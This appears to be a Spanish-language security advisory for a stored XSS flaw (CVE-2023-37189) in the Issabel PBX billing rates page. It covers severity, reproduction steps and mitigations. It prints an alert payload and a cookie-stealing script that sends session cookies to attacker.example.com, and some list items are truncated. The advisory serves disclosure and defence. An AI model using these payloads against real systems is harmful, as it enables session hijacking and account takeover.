
Existe una vulnerabilidad de Cross-Site Scripting (XSS) almacenado en Issabel PBX versión 4.0.0-6 dentro de la página de gestión de Tarifas de Facturación (index.php?menu=billing_rates).
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2023-37189 |
| Vulnerabilidad | Cross-Site Scripting (XSS) Almacenado |
| Producto Afectado | Issabel PBX 4.0.0-6 |
| URL Afectada | index.php?menu=billing_rates |
| Campos Vulnerables | los campos Name y Prefix del módulo Create New Rate |
| Severidad | Media (CVSS 3.1 Puntuación Base: 6.1 — AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) |
| Fecha de Reporte | 07 de julio de 2023 |
| Descubierto Por | Sahil Ojha |
| Probado En | Windows |
| Página del Proveedor | https://www.issabel.org/ |
| Código Fuente | https://github.com/IssabelFoundation/issabelPBX |
Existe una vulnerabilidad de Cross-Site Scripting (XSS) Almacenado en Issabel PBX versión 4.0.0-6, dentro de la página de gestión de tarifas de facturación (index.php?menu=billing_rates).
Issabel PBX es una plataforma de comunicaciones unificadas de código abierto ampliamente utilizada, construida sobre FreePBX/Asterisk. Su funcionalidad Billing → Rates (Facturación → Tarifas) permite a los administradores definir entradas de tarifas de llamadas con un Name (nombre) y Prefix (prefijo) personalizados. Debido a una sanitización insuficiente de las entradas y a una codificación deficiente de las salidas, un atacante autenticado puede inyectar HTML o JavaScript arbitrario en cualquiera de los dos campos. El script malicioso se almacena de forma persistente en la base de datos de la aplicación y se ejecuta automáticamente en el navegador de cualquier usuario que visite posteriormente la página de tarifas — incluidos otros administradores — sin necesidad de interacción adicional.
Esta clase de vulnerabilidad es especialmente peligrosa en los paneles de administración porque:
Name y Prefix al renderizar los valores almacenados de nuevo en la página.Los siguientes payloads, al introducirse en el campo Name o Prefix del formulario Create New Rate, demuestran la vulnerabilidad:
Alerta básica (comprobación de funcionalidad):
<script>alert('XSS')</script>
Robo de cookies de sesión (reemplace attacker.example.com con un servidor de su propiedad y que esté autorizado a utilizar — nunca apunte a usuarios o sistemas reales):
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
Payload basado en imagen con onerror (bypass de WAF):
⚠️ Nota: Estos payloads se proporcionan estrictamente con fines educativos y de investigación en seguridad. Obtenga siempre la autorización escrita adecuada antes de realizar pruebas en cualquier sistema que no le pertenezca.
Inicie sesión en la interfaz web de Issabel PBX utilizando una cuenta de administrador.
Navegue hasta Reports → Billing → Rates (URL: index.php?menu=billing_rates).
Haga clic en "Create New Rate" e introduzca un payload XSS diseñado en el campo Prefix o Name.

Haga clic en Save (Guardar). El payload queda almacenado en la base de datos.
Cualquier usuario (incluidos otros administradores) que visite la página de tarifas de facturación hará que el script se ejecute automáticamente en su navegador.


Se recomienda al proveedor y a los administradores de sistemas aplicar las siguientes contramedidas:
htmlspecialchars() en PHP con ENT_QUOTES). Esta es la defensa principal y más fiable contra el XSS.<, >, ", ', &) antes de almacenar los datos. Tenga en cuenta que la validación de entradas por sí sola puede ser evadida y no debe utilizarse como único control.Content-Security-Policy estricta para restringir la ejecución de scripts en línea.Este repositorio y la información contenida en el mismo se proporcionan únicamente con fines educativos y de investigación en seguridad. El autor no es responsable de ningún uso indebido o daño causado por la información proporcionada. Obtenga siempre permiso explícito por escrito del propietario del sistema antes de realizar cualquier prueba de seguridad.
Descubierto y reportado por Sahil Ojha